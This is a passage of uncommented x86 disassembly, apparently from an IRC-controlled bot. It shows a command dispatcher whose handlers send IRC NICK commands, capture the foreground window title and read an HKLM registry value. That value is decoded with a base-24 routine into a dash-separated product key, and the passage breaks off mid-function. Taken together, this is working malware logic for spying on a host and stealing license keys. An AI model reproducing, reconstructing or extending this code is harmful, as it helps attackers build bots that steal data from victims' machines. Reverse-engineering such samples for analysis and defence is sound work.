loc_40A838:				; CODE XREF: sub_40A6EB+144j
		mov	eax, [ebp+arg_4]
		inc	eax
		push	eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		push	eax
		call	sub_40A6EB
		pop	ecx
		pop	ecx
		movzx	eax, al
		test	eax, eax
		jz	short loc_40A856
		mov	al, 1
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A856:				; CODE XREF: sub_40A6EB+165j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_4]
		movsx	eax, byte ptr [eax]
		test	eax, eax
		jnz	short loc_40A867
		xor	al, al
		jmp	short locret_40A86B
; ---------------------------------------------------------------------------


loc_40A867:				; CODE XREF: sub_40A6EB+176j
		jmp	short loc_40A831
; ---------------------------------------------------------------------------


loc_40A869:				; CODE XREF: sub_40A6EB+13Ej
		xor	al, al

locret_40A86B:				; CODE XREF: sub_40A6EB+1Aj
					; sub_40A6EB+39j ...
		leave
		retn
sub_40A6EB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A86D	proc near		; CODE XREF: sub_40A8AD+FDp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	[ebp+var_4], 1
		cmp	[ebp+arg_4], 0
		jnz	short loc_40A884
		push	1
		pop	eax
		jmp	short locret_40A8AB
; ---------------------------------------------------------------------------


loc_40A884:				; CODE XREF: sub_40A86D+10j
		mov	[ebp+var_8], 1
		jmp	short loc_40A894
; ---------------------------------------------------------------------------


loc_40A88D:				; CODE XREF: sub_40A86D+39j
		mov	eax, [ebp+var_8]
		inc	eax
		mov	[ebp+var_8], eax


loc_40A894:				; CODE XREF: sub_40A86D+1Ej
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+arg_4]


loc_40A89A:				; DATA XREF: cAddress:0041AE78o
					; cAddress:0041AEBCo ...
		jg	short loc_40A8A8
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+arg_0]
		mov	[ebp+var_4], eax
		jmp	short loc_40A88D
; ---------------------------------------------------------------------------


loc_40A8A8:				; CODE XREF: sub_40A86D:loc_40A89Aj
		mov	eax, [ebp+var_4]

locret_40A8AB:				; CODE XREF: sub_40A86D+15j
		leave
		retn
sub_40A86D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A8AD	proc near		; CODE XREF: sub_406509+26p
					; sub_40A9CF+193Fp ...

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= byte ptr -1Ch
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	esi
		push	edi
		mov	[ebp+var_4], 1
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_20], 0
		mov	esi, offset aAbcdef ; "abcdef"
		lea	edi, [ebp+var_1C]
		movsd
		movsw
		movsb
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 30h
		jnz	short loc_40A90C
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 78h
		jz	short loc_40A905
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_20]
		movsx	eax, byte ptr [eax]
		cmp	eax, 58h
		jnz	short loc_40A90C


loc_40A905:				; CODE XREF: sub_40A8AD+48j
		mov	eax, [ebp+var_20]
		inc	eax
		mov	[ebp+var_20], eax


loc_40A90C:				; CODE XREF: sub_40A8AD+33j
					; sub_40A8AD+56j
		push	[ebp+arg_0]
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_20]
		mov	[ebp+var_14], eax
		jmp	short loc_40A927
; ---------------------------------------------------------------------------


loc_40A920:				; CODE XREF: sub_40A8AD+116j
		mov	eax, [ebp+var_14]
		inc	eax
		mov	[ebp+var_14], eax


loc_40A927:				; CODE XREF: sub_40A8AD+71j
		mov	eax, [ebp+var_14]
		cmp	eax, [ebp+var_28]
		jge	loc_40A9C8
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_14]
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_416DE4	; tolower
		pop	ecx
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 30h
		jl	short loc_40A95D
		cmp	[ebp+var_8], 39h
		jg	short loc_40A95D
		mov	eax, [ebp+var_8]
		sub	eax, 30h
		mov	[ebp+var_10], eax
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A95D:				; CODE XREF: sub_40A8AD+9Dj
					; sub_40A8AD+A3j
		cmp	[ebp+var_8], 61h
		jl	short loc_40A99C
		cmp	[ebp+var_8], 66h
		jg	short loc_40A99C
		and	[ebp+var_24], 0
		jmp	short loc_40A976
; ---------------------------------------------------------------------------


loc_40A96F:				; CODE XREF: sub_40A8AD:loc_40A998j
		mov	eax, [ebp+var_24]
		inc	eax
		mov	[ebp+var_24], eax


loc_40A976:				; CODE XREF: sub_40A8AD+C0j
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		test	eax, eax
		jz	short loc_40A99A
		mov	eax, [ebp+var_24]
		movsx	eax, [ebp+eax+var_1C]
		cmp	[ebp+var_8], eax
		jnz	short loc_40A998
		mov	eax, [ebp+var_24]
		add	eax, 0Ah
		mov	[ebp+var_10], eax


loc_40A998:				; CODE XREF: sub_40A8AD+E0j
		jmp	short loc_40A96F
; ---------------------------------------------------------------------------


loc_40A99A:				; CODE XREF: sub_40A8AD+D3j
		jmp	short loc_40A9A0
; ---------------------------------------------------------------------------


loc_40A99C:				; CODE XREF: sub_40A8AD+B4j
					; sub_40A8AD+BAj
		xor	eax, eax
		jmp	short loc_40A9CB
; ---------------------------------------------------------------------------


loc_40A9A0:				; CODE XREF: sub_40A8AD+AEj
					; sub_40A8AD:loc_40A99Aj
		mov	eax, [ebp+var_28]
		sub	eax, [ebp+var_14]
		dec	eax
		push	eax
		push	10h
		call	sub_40A86D
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		mov	eax, [ebp+var_4]
		imul	eax, [ebp+var_10]
		mov	ecx, [ebp+var_C]
		add	ecx, eax
		mov	[ebp+var_C], ecx
		jmp	loc_40A920
; ---------------------------------------------------------------------------


loc_40A9C8:				; CODE XREF: sub_40A8AD+80j
		mov	eax, [ebp+var_C]


loc_40A9CB:				; CODE XREF: sub_40A8AD+F1j
		pop	edi
		pop	esi
		leave
		retn
sub_40A8AD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A9CF	proc near		; CODE XREF: sub_40D871+C95p
					; sub_40D871+D9Cp

var_6424	= dword	ptr -6424h
var_6420	= dword	ptr -6420h
var_641C	= dword	ptr -641Ch
var_6418	= dword	ptr -6418h
var_6414	= dword	ptr -6414h
var_6410	= dword	ptr -6410h
var_640C	= dword	ptr -640Ch
var_6408	= dword	ptr -6408h
var_6404	= dword	ptr -6404h
var_6400	= dword	ptr -6400h
var_63FC	= dword	ptr -63FCh
var_63F8	= dword	ptr -63F8h
var_63F4	= dword	ptr -63F4h
var_63F0	= dword	ptr -63F0h
var_63EC	= dword	ptr -63ECh
var_63E8	= dword	ptr -63E8h
var_63E4	= dword	ptr -63E4h
var_63E0	= dword	ptr -63E0h
var_63DC	= dword	ptr -63DCh
var_63D8	= dword	ptr -63D8h
var_63D4	= dword	ptr -63D4h
var_63D0	= dword	ptr -63D0h
var_63CC	= dword	ptr -63CCh
var_63C8	= dword	ptr -63C8h
var_63C4	= dword	ptr -63C4h
var_63C0	= dword	ptr -63C0h
var_63BC	= dword	ptr -63BCh
var_63B8	= dword	ptr -63B8h
var_63B4	= word ptr -63B4h
var_63B2	= word ptr -63B2h
var_63B0	= dword	ptr -63B0h
var_63A4	= dword	ptr -63A4h
var_63A0	= byte ptr -63A0h
var_639C	= dword	ptr -639Ch
var_6398	= byte ptr -6398h
var_6397	= byte ptr -6397h
var_6396	= byte ptr -6396h
var_6395	= byte ptr -6395h
var_6394	= byte ptr -6394h
var_6393	= byte ptr -6393h
var_6392	= byte ptr -6392h
var_6391	= byte ptr -6391h
var_6390	= byte ptr -6390h
var_638F	= byte ptr -638Fh
var_638E	= byte ptr -638Eh
var_638D	= byte ptr -638Dh
var_638C	= dword	ptr -638Ch
var_6388	= byte ptr -6388h
var_5F84	= dword	ptr -5F84h
var_5F80	= byte ptr -5F80h
var_5B7C	= dword	ptr -5B7Ch
var_5B78	= dword	ptr -5B78h
var_5B74	= byte ptr -5B74h
var_5A70	= dword	ptr -5A70h
var_5A6C	= dword	ptr -5A6Ch
var_5A68	= dword	ptr -5A68h
var_5A64	= byte ptr -5A64h
var_1A64	= dword	ptr -1A64h
var_1A60	= byte ptr -1A60h
var_A60		= dword	ptr -0A60h
var_A5C		= byte ptr -0A5Ch
var_A38		= byte ptr -0A38h
var_A30		= dword	ptr -0A30h
var_A2C		= dword	ptr -0A2Ch
var_A28		= dword	ptr -0A28h
var_A24		= dword	ptr -0A24h
var_A20		= dword	ptr -0A20h
var_A1C		= dword	ptr -0A1Ch
var_A18		= byte ptr -0A18h
var_9F8		= dword	ptr -9F8h
var_9F4		= byte ptr -9F4h
var_9EF		= byte ptr -9EFh
var_9EA		= byte ptr -9EAh
var_9E5		= byte ptr -9E5h
var_9E0		= byte ptr -9E0h
var_9DB		= byte ptr -9DBh
var_9D8		= byte ptr -9D8h
var_9A4		= byte ptr -9A4h
var_970		= byte ptr -970h
var_8DC		= dword	ptr -8DCh
var_8D8		= byte ptr -8D8h
var_8D3		= byte ptr -8D3h
var_8D2		= byte ptr -8D2h
var_8CD		= byte ptr -8CDh
var_8CC		= byte ptr -8CCh
var_8C7		= byte ptr -8C7h
var_8C6		= byte ptr -8C6h
var_8C1		= byte ptr -8C1h
var_8C0		= byte ptr -8C0h
var_8BB		= byte ptr -8BBh
var_8B8		= byte ptr -8B8h
var_8A0		= byte ptr -8A0h
var_720		= dword	ptr -720h
var_71C		= dword	ptr -71Ch
var_718		= byte ptr -718h
var_59B		= byte ptr -59Bh
var_598		= byte ptr -598h
var_418		= dword	ptr -418h
var_414		= byte ptr -414h
var_214		= byte ptr -214h
var_1F0		= byte ptr -1F0h
var_1CC		= byte ptr -1CCh
var_1A8		= dword	ptr -1A8h
var_1A4		= byte ptr -1A4h
var_183		= byte ptr -183h
var_83		= dword	ptr -83h
var_7F		= byte ptr -7Fh
var_19		= byte ptr -19h
var_B		= byte ptr -0Bh
var_8		= byte ptr -8
var_5		= dword	ptr -5
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		mov	eax, 6424h
		call	sub_416BC0
		push	esi
		push	edi
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax]
		call	sub_40ED38
		pop	ecx
		mov	[ebp+var_1A8], eax
		push	[ebp+arg_0]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		push	[ebp+arg_8]
		lea	eax, [ebp+var_183]
		push	eax
		call	sub_416B3A	; _mbscpy
		pop	ecx
		pop	ecx
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_83], eax
		push	7Ah
		push	[ebp+arg_10]
		lea	eax, [ebp+var_7F]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		mov	[ebp+var_5], 1
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F18
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AA59
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_415AF0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AA59:				; CODE XREF: sub_40A9CF+76j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419F0C
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AACF
		mov	eax, [ebp+arg_14]
		cmp	dword ptr [eax+4], 0
		jnz	short loc_40AAAC
		lea	eax, [ebp+var_214]
		push	eax
		lea	eax, [ebp+var_1F0]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_40668F
		add	esp, 0Ch
		lea	eax, [ebp+var_1CC]
		push	eax
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AAAC:				; CODE XREF: sub_40A9CF+A6j
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		call	sub_40D7E5
		pop	ecx
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		push	offset aNickS	; "NICK	%s"
		call	sub_40D6CB
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AACF:				; CODE XREF: sub_40A9CF+9Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EF8
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB21
		push	200h
		lea	eax, [ebp+var_414]
		push	eax
		call	dword_4171D8	; GetForegroundWindow
		push	eax
		call	dword_4171E4	; GetWindowTextA
		test	eax, eax
		jle	short loc_40AB1C
		lea	eax, [ebp+var_414]
		push	eax
		push	offset dword_419EDC
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AB1C:				; CODE XREF: sub_40A9CF+130j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB21:				; CODE XREF: sub_40A9CF+113j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419ED0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40AB56
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4077DD
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AB56:				; CODE XREF: sub_40A9CF+165j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419EC4
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AC89
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AC84
		push	180h
		mov	eax, [ebp+arg_18]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_407A56
		add	esp, 0Ch
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax
		cmp	[ebp+var_418], 3
		jle	short loc_40ABFE
		push	offset dword_419EC0
		mov	eax, [ebp+var_418]
		lea	eax, [ebp+eax+var_59B]
		push	eax
		call	sub_416DDE	; strcmp
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_40ABFE
		mov	eax, [ebp+var_418]
		and	[ebp+eax+var_59B], 0
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_4078A0
		pop	ecx
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_418], eax


loc_40ABFE:				; CODE XREF: sub_40A9CF+1E1j
					; sub_40A9CF+1FFj
		mov	eax, [ebp+var_418]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_418]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AC1F
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC1F:				; CODE XREF: sub_40A9CF+249j
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF29
		pop	ecx
		pop	ecx
		push	[ebp+var_418]
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EF59
		pop	ecx
		pop	ecx
		mov	[ebp+var_418], eax
		push	[ebp+var_418]
		lea	eax, [ebp+var_718]
		push	eax
		lea	eax, [ebp+var_598]
		push	eax
		call	sub_40EB4E
		add	esp, 0Ch
		lea	eax, [ebp+var_718]
		push	eax
		push	offset dword_419E9C
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AC84:				; CODE XREF: sub_40A9CF+1A7j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AC89:				; CODE XREF: sub_40A9CF+19Aj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E90
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40AD84
		mov	eax, [ebp+arg_18]
		cmp	dword ptr [eax+4], 0
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		movsx	eax, byte ptr [eax]
		cmp	eax, 3Dh
		jnz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40EC96
		pop	ecx
		test	eax, eax
		jz	loc_40AD7F
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_416B40	; strlen
		pop	ecx
		mov	[ebp+var_71C], eax
		mov	eax, [ebp+var_71C]
		cdq
		push	4
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_71C]
		sub	ecx, eax
		cmp	ecx, 180h
		jbe	short loc_40AD0C
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD0C:				; CODE XREF: sub_40A9CF+336j
		lea	eax, [ebp+var_8A0]
		push	eax
		mov	eax, [ebp+arg_18]
		mov	eax, [eax+4]
		inc	eax
		push	eax
		call	sub_40E9C9
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40F040
		pop	ecx
		pop	ecx
		mov	[ebp+var_720], eax
		push	[ebp+var_720]
		lea	eax, [ebp+var_8A0]
		push	eax
		call	sub_40EF41
		pop	ecx
		pop	ecx
		mov	eax, [ebp+var_720]
		and	[ebp+eax+var_8A0], 0
		lea	eax, [ebp+var_8A0]
		push	eax
		push	offset dword_419E70
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch


loc_40AD7F:				; CODE XREF: sub_40A9CF+2DAj
					; sub_40A9CF+2ECj ...
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AD84:				; CODE XREF: sub_40A9CF+2CDj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E60
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADB2
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_406643
		pop	ecx
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADB2:				; CODE XREF: sub_40A9CF+3C8j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E50
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40ADD9
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4064BF
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40ADD9:				; CODE XREF: sub_40A9CF+3F6j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419E48
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B0B6
		and	[ebp+var_9F8], 0
		mov	[ebp+var_A1C], 0C8h
		push	0Ch
		pop	ecx
		mov	esi, offset dword_419E14
		lea	edi, [ebp+var_9D8]
		rep movsd
		movsb
		push	5
		pop	ecx
		mov	esi, offset dword_419DFC
		lea	edi, [ebp+var_8B8]
		rep movsd
		movsb
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_9F8]
		push	eax
		push	20019h
		push	0
		lea	eax, [ebp+var_9D8]
		push	eax
		push	80000002h
		call	dword_417008	; RegOpenKeyExA
		test	eax, eax
		jz	short loc_40AE7D
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AE78
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey


loc_40AE78:				; CODE XREF: sub_40A9CF+49Bj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AE7D:				; CODE XREF: sub_40A9CF+485j
		lea	eax, [ebp+var_9D8]
		push	eax
		call	sub_4105AD
		pop	ecx
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105FB
		pop	ecx
		lea	eax, [ebp+var_A1C]
		push	eax
		lea	eax, [ebp+var_9A4]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_8B8]
		push	eax
		push	[ebp+var_9F8]
		call	dword_41700C	; RegQueryValueExA
		test	eax, eax
		jz	short loc_40AEE7
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		cmp	[ebp+var_9F8], 0
		jz	short loc_40AEE2
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey


loc_40AEE2:				; CODE XREF: sub_40A9CF+505j
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40AEE7:				; CODE XREF: sub_40A9CF+4EFj
		lea	eax, [ebp+var_8B8]
		push	eax
		call	sub_4105AD
		pop	ecx
		push	[ebp+var_9F8]
		call	dword_417028	; RegCloseKey
		push	7
		pop	ecx
		mov	esi, offset aALSsSCJEKi	; "¿«×ÄÄØé˜Ü¹œ™Ï—؆ÎÜ¥µ»ª›"
		lea	edi, [ebp+var_A18]
		rep movsd
		movsb
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105FB
		pop	ecx
		and	[ebp+var_9DB], 0
		mov	[ebp+var_8DC], 18h
		jmp	short loc_40AF3E
; ---------------------------------------------------------------------------


loc_40AF31:				; CODE XREF: sub_40A9CF+60Bj
		mov	eax, [ebp+var_8DC]
		dec	eax
		mov	[ebp+var_8DC], eax


loc_40AF3E:				; CODE XREF: sub_40A9CF+560j
		cmp	[ebp+var_8DC], 0
		jl	loc_40AFDF
		and	[ebp+var_A20], 0
		mov	[ebp+var_A24], 0Eh
		jmp	short loc_40AF6B
; ---------------------------------------------------------------------------


loc_40AF5E:				; CODE XREF: sub_40A9CF+5EFj
		mov	eax, [ebp+var_A24]
		dec	eax
		mov	[ebp+var_A24], eax


loc_40AF6B:				; CODE XREF: sub_40A9CF+58Dj
		cmp	[ebp+var_A24], 0
		jl	short loc_40AFC0
		mov	eax, [ebp+var_A20]
		shl	eax, 8
		mov	ecx, [ebp+var_A24]
		movzx	ecx, [ebp+ecx+var_970]
		add	eax, ecx
		mov	[ebp+var_A20], eax
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	ecx, [ebp+var_A24]
		mov	[ebp+ecx+var_970], al
		mov	eax, [ebp+var_A20]
		cdq
		push	18h
		pop	ecx
		idiv	ecx
		mov	[ebp+var_A20], edx
		jmp	short loc_40AF5E
; ---------------------------------------------------------------------------


loc_40AFC0:				; CODE XREF: sub_40A9CF+5A3j
		mov	eax, [ebp+var_8DC]
		mov	ecx, [ebp+var_A20]
		mov	cl, [ebp+ecx+var_A18]
		mov	[ebp+eax+var_9F4], cl
		jmp	loc_40AF31
; ---------------------------------------------------------------------------


loc_40AFDF:				; CODE XREF: sub_40A9CF+576j
		lea	eax, [ebp+var_A18]
		push	eax
		call	sub_4105AD
		pop	ecx
		and	[ebp+var_8BB], 0
		mov	[ebp+var_8C1], 2Dh
		mov	al, [ebp+var_8C1]
		mov	[ebp+var_8C7], al
		mov	al, [ebp+var_8C7]
		mov	[ebp+var_8CD], al
		mov	al, [ebp+var_8CD]
		mov	[ebp+var_8D3], al
		push	5
		lea	eax, [ebp+var_9F4]
		push	eax
		lea	eax, [ebp+var_8D8]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EF]
		push	eax
		lea	eax, [ebp+var_8D2]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9EA]
		push	eax
		lea	eax, [ebp+var_8CC]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E5]
		push	eax
		lea	eax, [ebp+var_8C6]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		push	5
		lea	eax, [ebp+var_9E0]
		push	eax
		lea	eax, [ebp+var_8C0]
		push	eax
		call	sub_416B52	; memcpy
		add	esp, 0Ch
		lea	eax, [ebp+var_8D8]
		push	eax
		push	offset aS	; "%s"
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 0Ch
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B0B6:				; CODE XREF: sub_40A9CF+41Dj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DCC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B11C
		mov	[ebp+var_8], 1
		movsx	eax, [ebp+var_19]
		test	eax, eax
		jz	short loc_40B0E6
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0E6:				; CODE XREF: sub_40A9CF+706j
		movsx	eax, [ebp+var_B]
		test	eax, eax
		jz	short loc_40B0FD
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx
		jmp	short loc_40B117
; ---------------------------------------------------------------------------


loc_40B0FD:				; CODE XREF: sub_40A9CF+71Dj
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_411D68
		pop	ecx
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_4123F6
		pop	ecx


loc_40B117:				; CODE XREF: sub_40A9CF+715j
					; sub_40A9CF+72Cj
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B11C:				; CODE XREF: sub_40A9CF+6FAj
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DBC
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B143
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_414EB0
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B143:				; CODE XREF: sub_40A9CF+760j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419DB0
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	loc_40B247
		push	8
		pop	ecx
		mov	esi, offset dword_419D8C
		lea	edi, [ebp+var_A5C]
		rep movsd
		movsb
		mov	esi, offset dword_419D84
		lea	edi, [ebp+var_A38]
		movsd
		movsw
		movsx	eax, [ebp+var_A38]
		mov	ecx, off_41DA40
		movsx	ecx, byte ptr [ecx]
		sub	eax, ecx
		neg	eax
		sbb	eax, eax
		inc	eax
		mov	[ebp+var_A30], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1AD
		mov	[ebp+var_63E4],	offset dword_419D78
		jmp	short loc_40B1B7
; ---------------------------------------------------------------------------


loc_40B1AD:				; CODE XREF: sub_40A9CF+7D0j
		mov	[ebp+var_63E4],	offset dword_419D68


loc_40B1B7:				; CODE XREF: sub_40A9CF+7DCj
		mov	eax, [ebp+var_63E4]
		mov	[ebp+var_A28], eax
		cmp	[ebp+var_A30], 0
		jz	short loc_40B1D8
		mov	[ebp+var_63E8],	offset aThisBuildIsFul ; "This build is	fully functional"
		jmp	short loc_40B1E2
; ---------------------------------------------------------------------------


loc_40B1D8:				; CODE XREF: sub_40A9CF+7FBj
		mov	[ebp+var_63E8],	offset aThisBuildIsBro ; "This build is	broken and will	not funct"...


loc_40B1E2:				; CODE XREF: sub_40A9CF+807j
		mov	eax, [ebp+var_63E8]
		mov	[ebp+var_A2C], eax
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105FB
		pop	ecx
		push	[ebp+var_A2C]
		push	[ebp+var_A28]
		mov	eax, dword_41EC00
		and	eax, 0FFFFh
		push	eax
		movsx	eax, byte ptr dword_41DA20
		and	eax, 0FFh
		push	eax
		lea	eax, [ebp+var_A5C]
		push	eax
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_40D53F
		add	esp, 18h
		lea	eax, [ebp+var_A5C]
		push	eax
		call	sub_4105AD
		pop	ecx
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B247:				; CODE XREF: sub_40A9CF+787j
		mov	eax, [ebp+var_1A8]
		sub	eax, dword_419D08
		neg	eax
		sbb	eax, eax
		inc	eax
		test	eax, eax
		jz	short loc_40B28E
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+0Ch]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+8]
		mov	eax, [ebp+arg_14]
		push	dword ptr [eax+4]
		lea	eax, [ebp+var_1A4]
		push	eax
		call	sub_405E45
		add	esp, 18h
		jmp	loc_40C912
; ---------------------------------------------------------------------------


loc_40B28E:				; CODE XREF: sub_40A9CF+88Bj
		mov	eax, [ebp+var_1A8]
